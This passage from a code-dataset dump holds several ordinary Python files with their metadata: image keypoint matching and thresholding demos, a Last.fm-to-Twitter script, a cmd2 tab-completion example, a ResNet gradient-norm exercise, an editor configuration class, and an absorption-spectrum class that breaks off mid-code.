plt.scatter(keypoints2[inliers[:, 1]][:, 1] + img1.shape[1], keypoints2[inliers[:, 1]][:, 0])\r\nax[1].axis('off')\r\nax[1].set_title(\"ransac\")\r\n\r\nplt.show()\r\n\r\ndisplay_matches(img1, img2, keypoints1[matches12[:, 0]], keypoints2[matches12[:, 1]], inliers)\r\n\r\n", "sub_path": "test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 2601, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "skimage.filters.rank.median", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 28, "usage_type": "call"}, {"api_name": "skimage.filters.rank.median", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 29, "usage_type": "call"}, {"api_name": "skimage.feature.ORB", "line_number": 33, "usage_type": "call"}, {"api_name": "skimage.feature.match_descriptors", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gray", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "skimage.feature.plot_matches", "line_number": 51, "usage_type": "call"}, {"api_name": "skimage.feature.plot_matches", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]} {"seq_id": "287531817", "text": "import cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nimg = cv2.imread(\"avatar.jpg\",cv2.IMREAD_GRAYSCALE)\r\n\r\nret,thresh1 = cv2.threshold(img,127,255,cv2.THRESH_BINARY)\r\nret,thresh2 = cv2.threshold(img,127,255,cv2.THRESH_BINARY_INV)\r\nret,thresh3 = cv2.threshold(img,127,255,cv2.THRESH_TRUNC)\r\nret,thresh4 = cv2.threshold(img,127,255,cv2.THRESH_TOZERO)\r\nret,thresh5 = cv2.threshold(img,127,255,cv2.THRESH_TOZERO_INV)\r\nthresh6 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 5, 3)\r\ntitles = ['BINARY','BINARY_INV','TRUNC','TOZERO','TOZERO_INV', 'ADAPTIVE']\r\nimages = [thresh1, thresh2, thresh3, thresh4, thresh5, thresh6]\r\n\r\nfor i in range(6):\r\n plt.subplot(3,2,i+1),\r\n plt.imshow(images[i],'gray')\r\n plt.title(titles[i])\r\n plt.xticks([1]), plt.yticks([1])\r\nplt.show()", "sub_path": "threshold.py", "file_name": "threshold.py", "file_ext": "py", "file_size_in_byte": 832, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.THRESH_TRUNC", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.THRESH_TOZERO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.THRESH_TOZERO_INV", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_GAUSSIAN_C", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}]} {"seq_id": "28051789", "text": "from urllib.request import urlopen\nfrom json import loads\nfrom tweeter import format_top_artist_tweet, send\nfrom time import sleep\n\ndef tweet_top_artist(link):\n\n top_artists = urlopen(link).read()\n top_artists_json = loads(top_artists.decode())\n\n artist = top_artists_json['topartists']['artist'][0]['name']\n plays = top_artists_json['topartists']['artist'][0]['playcount']\n\n tweet = format_top_artist_tweet(artist, plays)\n status = send(tweet)\n\n return status\n\n\ndef main():\n username = \"user-name\"\n api_key = \"api-key\"\n\n link = \"http://ws.audioscrobbler.com/2.0/?method=user.getTopArtists&user=\" + username + \"&limit=\" + str(1) + \"&api_key=\" + api_key + \"&format=json\"\n\n while True:\n result = tweet_top_artist(link)\n sleep(2419200)\n\nif __name__ == '__main__':\n main()\n", "sub_path": "lastfm/top_artist.py", "file_name": "top_artist.py", "file_ext": "py", "file_size_in_byte": 819, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.urlopen", "line_number": 8, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 9, "usage_type": "call"}, {"api_name": "tweeter.format_top_artist_tweet", "line_number": 14, "usage_type": "call"}, {"api_name": "tweeter.send", "line_number": 15, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}]} {"seq_id": "36612918", "text": "#!/usr/bin/env python3\n# coding=utf-8\n\"\"\"\nA example usage of AutoCompleter with delayed initialization of the argparse object\n\nCopyright 2018 Eric Lin <anselor@gmail.com>\nReleased under MIT license, see LICENSE file\n\"\"\"\nfrom typing import List\n\nimport cmd2\nfrom cmd2 import argparse_completer, utils\n\nactors = ['Mark Hamill', 'Harrison Ford', 'Carrie Fisher', 'Alec Guinness', 'Peter Mayhew',\n 'Anthony Daniels', 'Adam Driver', 'Daisy Ridley', 'John Boyega', 'Oscar Isaac',\n 'Lupita Nyong\\'o', 'Andy Serkis', 'Liam Neeson', 'Ewan McGregor', 'Natalie Portman',\n 'Jake Lloyd', 'Hayden Christensen', 'Christopher Lee']\n\n\ndef query_actors() -> List[str]:\n \"\"\"Simulating a function that queries and returns a completion values\"\"\"\n return actors\n\n\nclass TabCompleteExample(cmd2.Cmd):\n \"\"\" Example cmd2 application where we a base command which has a couple sub-commands.\"\"\"\n\n CAT_AUTOCOMPLETE = 'AutoComplete Examples'\n\n def __init__(self):\n super().__init__()\n\n video_types_subparsers = TabCompleteExample.video_parser.add_subparsers(title='Media Types', dest='type')\n\n vid_movies_parser = argparse_completer.ACArgumentParser(prog='movies')\n vid_movies_parser.set_defaults(func=TabCompleteExample._do_vid_media_movies)\n\n vid_movies_commands_subparsers = vid_movies_parser.add_subparsers(title='Commands', dest='command')\n\n vid_movies_list_parser = vid_movies_commands_subparsers.add_parser('list')\n\n vid_movies_list_parser.add_argument('-t', '--title', help='Title Filter')\n vid_movies_list_parser.add_argument('-r', '--rating', help='Rating Filter', nargs='+',\n choices=TabCompleteExample.ratings_types)\n # save a reference to the action object\n director_action = vid_movies_list_parser.add_argument('-d', '--director', help='Director Filter')\n actor_action = vid_movies_list_parser.add_argument('-a', '--actor', help='Actor Filter', action='append')\n\n # tag the action objects with completion providers. This can be a collection or a callable\n setattr(director_action, argparse_completer.ACTION_ARG_CHOICES, TabCompleteExample.static_list_directors)\n setattr(actor_action, argparse_completer.ACTION_ARG_CHOICES, query_actors)\n\n vid_movies_add_parser = vid_movies_commands_subparsers.add_parser('add')\n vid_movies_add_parser.add_argument('title', help='Movie Title')\n vid_movies_add_parser.add_argument('rating', help='Movie Rating', choices=TabCompleteExample.ratings_types)\n\n # save a reference to the action object\n director_action = vid_movies_add_parser.add_argument('-d', '--director', help='Director', nargs=(1, 2),\n required=True)\n actor_action = vid_movies_add_parser.add_argument('actor', help='Actors', nargs='*')\n\n vid_movies_load_parser = vid_movies_commands_subparsers.add_parser('load')\n vid_movie_file_action = vid_movies_load_parser.add_argument('movie_file', help='Movie database')\n\n vid_movies_read_parser = vid_movies_commands_subparsers.add_parser('read')\n vid_movie_fread_action = vid_movies_read_parser.add_argument('movie_file', help='Movie database')\n\n # tag the action objects with completion providers. This can be a collection or a callable\n setattr(director_action, argparse_completer.ACTION_ARG_CHOICES, TabCompleteExample.static_list_directors)\n setattr(actor_action, argparse_completer.ACTION_ARG_CHOICES, 'instance_query_actors')\n\n # tag the file property with a custom completion function 'delimiter_complete' provided by cmd2.\n setattr(vid_movie_file_action, argparse_completer.ACTION_ARG_CHOICES,\n ('delimiter_complete',\n {'delimiter': '/',\n 'match_against': TabCompleteExample.file_list}))\n setattr(vid_movie_fread_action, argparse_completer.ACTION_ARG_CHOICES,\n ('path_complete',))\n\n vid_movies_delete_parser = vid_movies_commands_subparsers.add_parser('delete')\n vid_delete_movie_id = vid_movies_delete_parser.add_argument('movie_id', help='Movie ID')\n setattr(vid_delete_movie_id, argparse_completer.ACTION_ARG_CHOICES, TabCompleteExample.instance_query_movie_ids)\n setattr(vid_delete_movie_id, argparse_completer.ACTION_DESCRIPTIVE_COMPLETION_HEADER, 'Title')\n\n # Add the 'movies' parser as a parent of sub-parser\n video_types_subparsers.add_parser('movies', parents=[vid_movies_parser], add_help=False)\n\n vid_shows_parser = argparse_completer.ACArgumentParser(prog='shows')\n vid_shows_parser.set_defaults(func=TabCompleteExample._do_vid_media_shows)\n\n vid_shows_commands_subparsers = vid_shows_parser.add_subparsers(title='Commands', dest='command')\n\n vid_shows_commands_subparsers.add_parser('list')\n\n video_types_subparsers.add_parser('shows', parents=[vid_shows_parser], add_help=False)\n\n # For mocking a data source for the example commands\n ratings_types = ['G', 'PG', 'PG-13', 'R', 'NC-17']\n show_ratings = ['TV-Y', 'TV-Y7', 'TV-G', 'TV-PG', 'TV-14', 'TV-MA']\n static_list_directors = ['J. J. Abrams', 'Irvin Kershner', 'George Lucas', 'Richard Marquand',\n 'Rian Johnson', 'Gareth Edwards']\n USER_MOVIE_LIBRARY = ['ROGUE1', 'SW_EP04', 'SW_EP05']\n MOVIE_DATABASE_IDS = ['SW_EP1', 'SW_EP02', 'SW_EP03', 'ROGUE1', 'SW_EP04',\n 'SW_EP05', 'SW_EP06', 'SW_EP07', 'SW_EP08', 'SW_EP09']\n MOVIE_DATABASE = {'SW_EP04': {'title': 'Star Wars: Episode IV - A New Hope',\n 'rating': 'PG',\n 'director': ['George Lucas'],\n 'actor': ['Mark Hamill', 'Harrison Ford', 'Carrie Fisher',\n 'Alec Guinness', 'Peter Mayhew', 'Anthony Daniels']\n },\n 'SW_EP05': {'title': 'Star Wars: Episode V - The Empire Strikes Back',\n 'rating': 'PG',\n 'director': ['Irvin Kershner'],\n 'actor': ['Mark Hamill', 'Harrison Ford', 'Carrie Fisher',\n 'Alec Guinness', 'Peter Mayhew', 'Anthony Daniels']\n },\n 'SW_EP06': {'title': 'Star Wars: Episode VI - Return of the Jedi',\n 'rating': 'PG',\n 'director': ['Richard Marquand'],\n 'actor': ['Mark Hamill', 'Harrison Ford', 'Carrie Fisher',\n 'Alec Guinness', 'Peter Mayhew', 'Anthony Daniels']\n },\n 'SW_EP1': {'title': 'Star Wars: Episode I - The Phantom Menace',\n 'rating': 'PG',\n 'director': ['George Lucas'],\n 'actor': ['Liam Neeson', 'Ewan McGregor', 'Natalie Portman', 'Jake Lloyd']\n },\n 'SW_EP02': {'title': 'Star Wars: Episode II - Attack of the Clones',\n 'rating': 'PG',\n 'director': ['George Lucas'],\n 'actor': ['Liam Neeson', 'Ewan McGregor', 'Natalie Portman',\n 'Hayden Christensen', 'Christopher Lee']\n },\n 'SW_EP03': {'title': 'Star Wars: Episode III - Revenge of the Sith',\n 'rating': 'PG-13',\n 'director': ['George Lucas'],\n 'actor': ['Liam Neeson', 'Ewan McGregor', 'Natalie Portman',\n 'Hayden Christensen']\n },\n\n }\n USER_SHOW_LIBRARY = {'SW_REB': ['S01E01', 'S02E02']}\n SHOW_DATABASE_IDS = ['SW_CW', 'SW_TCW', 'SW_REB']\n SHOW_DATABASE = {'SW_CW': {'title': 'Star Wars: Clone Wars',\n 'rating': 'TV-Y7',\n 'seasons': {1: ['S01E01', 'S01E02', 'S01E03'],\n 2: ['S02E01', 'S02E02', 'S02E03']}\n },\n 'SW_TCW': {'title': 'Star Wars: The Clone Wars',\n 'rating': 'TV-PG',\n 'seasons': {1: ['S01E01', 'S01E02', 'S01E03'],\n 2: ['S02E01', 'S02E02', 'S02E03']}\n },\n 'SW_REB': {'title': 'Star Wars: Rebels',\n 'rating': 'TV-Y7',\n 'seasons': {1: ['S01E01', 'S01E02', 'S01E03'],\n 2: ['S02E01', 'S02E02', 'S02E03']}\n },\n }\n\n file_list = \\\n [\n '/home/user/file.db',\n '/home/user/file space.db',\n '/home/user/another.db',\n '/home/other user/maps.db',\n '/home/other user/tests.db'\n ]\n\n def instance_query_actors(self) -> List[str]:\n \"\"\"Simulating a function that queries and returns a completion values\"\"\"\n return actors\n\n def instance_query_movie_ids(self) -> List[str]:\n \"\"\"Demonstrates showing tabular hinting of tab completion information\"\"\"\n completions_with_desc = []\n\n # Sort the movie id strings with a natural sort since they contain numbers\n for movie_id in utils.natural_sort(self.MOVIE_DATABASE_IDS):\n if movie_id in self.MOVIE_DATABASE:\n movie_entry = self.MOVIE_DATABASE[movie_id]\n completions_with_desc.append(argparse_completer.CompletionItem(movie_id, movie_entry['title']))\n\n # Mark that we already sorted the matches\n self.matches_sorted = True\n return completions_with_desc\n\n ###################################################################################\n # The media command demonstrates a completer with multiple layers of subcommands\n # - This example demonstrates how to tag a completion attribute on each action, enabling argument\n # completion without implementing a complete_COMMAND function\n def _do_vid_media_movies(self, args) -> None:\n if not args.command:\n self.do_help('video movies')\n elif args.command == 'list':\n for movie_id in TabCompleteExample.MOVIE_DATABASE:\n movie = TabCompleteExample.MOVIE_DATABASE[movie_id]\n print('{}\\n-----------------------------\\n{} ID: {}\\nDirector: {}\\nCast:\\n {}\\n\\n'\n .format(movie['title'], movie['rating'], movie_id,\n ', '.join(movie['director']),\n '\\n '.join(movie['actor'])))\n\n def _do_vid_media_shows(self, args) -> None:\n if not args.command:\n self.do_help('video shows')\n\n elif args.command == 'list':\n for show_id in TabCompleteExample.SHOW_DATABASE:\n show = TabCompleteExample.SHOW_DATABASE[show_id]\n print('{}\\n-----------------------------\\n{} ID: {}'\n .format(show['title'], show['rating'], show_id))\n for season in show['seasons']:\n ep_list = show['seasons'][season]\n print(' Season {}:\\n {}'\n .format(season,\n '\\n '.join(ep_list)))\n print()\n\n video_parser = argparse_completer.ACArgumentParser(prog='video')\n\n @cmd2.with_category(CAT_AUTOCOMPLETE)\n @cmd2.with_argparser(video_parser)\n def do_video(self, args):\n \"\"\"Video management command demonstrates multiple layers of sub-commands being handled by AutoCompleter\"\"\"\n func = getattr(args, 'func', None)\n if func is not None:\n # Call whatever subcommand function was selected\n func(self, args)\n else:\n # No subcommand was provided, so call help\n self.do_help('video')\n\n\nif __name__ == '__main__':\n import sys\n app = TabCompleteExample()\n sys.exit(app.cmdloop())\n", "sub_path": "examples/tab_autocomp_dynamic.py", "file_name": "tab_autocomp_dynamic.py", "file_ext": "py", "file_size_in_byte": 12484, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "cmd2.Cmd", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer.ACArgumentParser", "line_number": 35, "usage_type": "call"}, {"api_name": "cmd2.argparse_completer", "line_number": 35, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 50, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 51, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 69, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 70, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 73, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 77, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_ARG_CHOICES", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 82, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACTION_DESCRIPTIVE_COMPLETION_HEADER", "line_number": 83, "usage_type": "attribute"}, {"api_name": "cmd2.argparse_completer", "line_number": 83, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACArgumentParser", "line_number": 88, "usage_type": "call"}, {"api_name": "cmd2.argparse_completer", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 170, "usage_type": "name"}, {"api_name": "cmd2.utils.natural_sort", "line_number": 179, "usage_type": "call"}, {"api_name": "cmd2.utils", "line_number": 179, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.CompletionItem", "line_number": 182, "usage_type": "call"}, {"api_name": "cmd2.argparse_completer", "line_number": 182, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 174, "usage_type": "name"}, {"api_name": "cmd2.argparse_completer.ACArgumentParser", "line_number": 219, "usage_type": "call"}, {"api_name": "cmd2.argparse_completer", "line_number": 219, "usage_type": "name"}, {"api_name": "cmd2.with_category", "line_number": 221, "usage_type": "call"}, {"api_name": "cmd2.with_argparser", "line_number": 222, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 237, "usage_type": "call"}]} {"seq_id": "299527500", "text": "#!/usr/bin/env python\n\n# Any copyright is dedicated to the Public Domain.\n# https://creativecommons.org/publicdomain/zero/1.0/\n\n# Written by Francois Fleuret <francois@fleuret.org>\n\nimport torch\n\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch import optim\nfrom torchvision import datasets\n\n######################################################################\n\ncifar_train_set = datasets.CIFAR10('./data/cifar10/', train = True, download = True)\ntrain_input = torch.from_numpy(cifar_train_set.data).permute(0, 3, 1, 2).float()\ntrain_targets = torch.tensor(cifar_train_set.targets, dtype = torch.int64)\n\nmu, std = train_input.mean(), train_input.std()\ntrain_input.sub_(mu).div_(std)\n\n######################################################################\n\nclass ResNetBlock(nn.Module):\n def __init__(self, nb_channels, kernel_size,\n skip_connections = True, batch_normalization = True):\n super().__init__()\n\n self.conv1 = nn.Conv2d(nb_channels, nb_channels,\n kernel_size = kernel_size,\n padding = (kernel_size - 1) // 2)\n\n self.bn1 = nn.BatchNorm2d(nb_channels)\n\n self.conv2 = nn.Conv2d(nb_channels, nb_channels,\n kernel_size = kernel_size,\n padding = (kernel_size - 1) // 2)\n\n self.bn2 = nn.BatchNorm2d(nb_channels)\n\n self.skip_connections = skip_connections\n self.batch_normalization = batch_normalization\n\n def forward(self, x):\n y = self.conv1(x)\n if self.batch_normalization: y = self.bn1(y)\n y = F.relu(y)\n y = self.conv2(y)\n if self.batch_normalization: y = self.bn2(y)\n if self.skip_connections: y = y + x\n y = F.relu(y)\n\n return y\n\n######################################################################\n\nclass ResNet(nn.Module):\n\n def __init__(self, nb_residual_blocks, nb_channels,\n kernel_size = 3, nb_classes = 10,\n skip_connections = True, batch_normalization = True):\n super().__init__()\n\n self.conv = nn.Conv2d(3, nb_channels,\n kernel_size = kernel_size,\n padding = (kernel_size - 1) // 2)\n self.bn = nn.BatchNorm2d(nb_channels)\n\n self.resnet_blocks = nn.Sequential(\n *(ResNetBlock(nb_channels, kernel_size, skip_connections, batch_normalization)\n for _ in range(nb_residual_blocks))\n )\n\n self.fc = nn.Linear(nb_channels, nb_classes)\n\n def forward(self, x):\n x = F.relu(self.bn(self.conv(x)))\n x = self.resnet_blocks(x)\n x = F.avg_pool2d(x, 32).view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n######################################################################\n\ndef get_stats(skip_connections, batch_normalization, nb_samples = 100):\n\n model = ResNet(nb_residual_blocks = 30, nb_channels = 10,\n kernel_size = 3, nb_classes = 10,\n skip_connections = skip_connections, batch_normalization = batch_normalization)\n\n criterion = nn.CrossEntropyLoss()\n\n monitored_parameters = [ b.conv1.weight for b in model.resnet_blocks ]\n\n result = torch.empty(len(monitored_parameters), nb_samples)\n\n for n in range(nb_samples):\n output = model(train_input[n:n+1])\n loss = criterion(output, train_targets[n:n+1])\n model.zero_grad()\n loss.backward()\n for d, p in enumerate(monitored_parameters):\n result[d, n] = p.grad.norm()\n\n return result\n\n######################################################################\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n\nax.set_xlabel('Depth', labelpad = 10)\nax.set_yscale('log')\nax.set_ylabel('Gradient norm', labelpad = 10)\n\ngraph_param = [\n ( True, True, 'tab:red', 'SC+BN' ),\n ( True, False, 'tab:green', 'SC' ),\n ( False, True, 'tab:blue', 'BN' ),\n ( False, False, 'tab:orange', 'None' ),\n]\n\nfor sc, bn, color, label in graph_param:\n print('Computing ' + label)\n x = get_stats(skip_connections = sc, batch_normalization = bn)\n ax.plot(x.mean(1).numpy(), color = color, label = label)\n\nax.legend(frameon = False)\n\nplt.show()\n\n######################################################################\n", "sub_path": "Exercises/dlc_practical_6_solution.py", "file_name": "dlc_practical_6_solution.py", "file_ext": "py", "file_size_in_byte": 4386, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "torchvision.datasets.CIFAR10", "line_number": 17, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.functional.avg_pool2d", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.empty", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}]} {"seq_id": "202625217", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/sbo/lib/python3.4/site-packages/vai/models/Configuration.py\n# Compiled at: 2015-05-02 14:07:56\n# Size of source mod 2**32: 2141 bytes\nimport copy, os, json, locale\nfrom .. import paths\n\nclass Configuration:\n DEFAULTS = {'colors.syntax_schema': 'default', \n 'colors.status_bar.fg': 'yellow', \n 'colors.status_bar.bg': 'blue', \n 'colors.side_ruler.fg': 'cyan', \n 'colors.side_ruler.bg': 'transparent', \n 'icons.collection': 'unicode1'}\n _instance = None\n _filename = None\n flags = {'has_wide_ncurses': True}\n\n @classmethod\n def instance(cls):\n if cls._instance is None:\n cls._instance = cls()\n return cls._instance\n\n @classmethod\n def setFilename(cls, filename):\n if cls._instance is not None:\n if self._filename is not None:\n raise Exception('Configuration already initialized')\n cls._filename = filename\n\n @classmethod\n def filename(cls):\n if cls._filename is None:\n cls._filename = paths.configFile()\n return cls._filename\n\n @classmethod\n def save(cls):\n config = cls.instance()\n with open(cls._filename, 'w') as (f):\n f.write(json.dumps(config._config_dict, indent=4, sort_keys=True))\n\n def __init__(self):\n cls = self.__class__\n filename = cls.filename()\n try:\n with open(filename, 'r') as (f):\n merge_data = json.loads(f.read())\n except:\n merge_data = {}\n\n self._config_dict = copy.deepcopy(Configuration.DEFAULTS)\n self._config_dict.update(merge_data)\n\n def __getitem__(self, key):\n return self._config_dict[key]\n\n @classmethod\n def get(cls, key):\n if key == 'icons.collection' and locale.getpreferredencoding(False) != 'UTF-8' or not cls.flags.get('has_wide_ncurses'):\n return 'ascii'\n return cls.instance()[key]", "sub_path": "pycfiles/vai-1.7.linux-x86_64.tar/Configuration.cpython-34.py", "file_name": "Configuration.cpython-34.py", "file_ext": "py", "file_size_in_byte": 2076, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 52, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 56, "usage_type": "call"}, {"api_name": "locale.getpreferredencoding", "line_number": 64, "usage_type": "call"}]} {"seq_id": "22608499", "text": "# -*- coding: utf-8 -*-\n\n\nimport numpy\n\nimport matplotlib.pyplot as plt\n\nfrom ..core.frequency import FrequencyAxis\nfrom ..core.dfunction import DFunction\nfrom ..core.managers import EnergyUnitsManaged\nfrom ..core.units import cm2int\n\n\nclass AbsSpectrumBase(DFunction, EnergyUnitsManaged):\n \"\"\"Provides basic container for absorption spectrum\n \n \"\"\"\n \n def __init__(self, axis=None, data=None):\n super().__init__()\n self.axis = axis\n self.data = data\n \n def set_axis(self, axis):\n \"\"\"Sets axis atribute\n \n Parameters\n ----------\n \n axis : FrequencyAxis object\n Frequency axis object. This object has managed energy units\n \n \"\"\"\n self.axis = axis\n \n def set_data(self, data):\n \"\"\"Sets data atribute\n \n Parameters\n ----------\n \n data : array like object (numpy array)\n Sets the data of the absorption spectrum\n \n \"\"\"\n self.data = data\n \n def set_by_interpolation(self, x, y, xaxis=\"frequency\"):\n \n from scipy import interpolate\n \n if xaxis == \"frequency\":\n \n om = self.convert_2_internal_u(x)\n \n elif xaxis == \"wavelength\":\n # convert to internal (nano meters) units of wavelength\n \n \n # convert to energy (internal units)\n # to cm\n om = 1.0e-7*x\n # to 1/cm\n om = 1.0/om\n # to 1/fs\n om = om*cm2int\n \n if om[1] > om[2]:\n # reverse order\n om = numpy.flip(om,0)\n y = numpy.flip(y,0)\n \n # equidistant points on the x-axis\n omin = numpy.amin(om)\n omax = numpy.amax(om)\n length = om.shape[0]\n step = (omax-omin)/length\n \n # new frequency axis\n waxis = 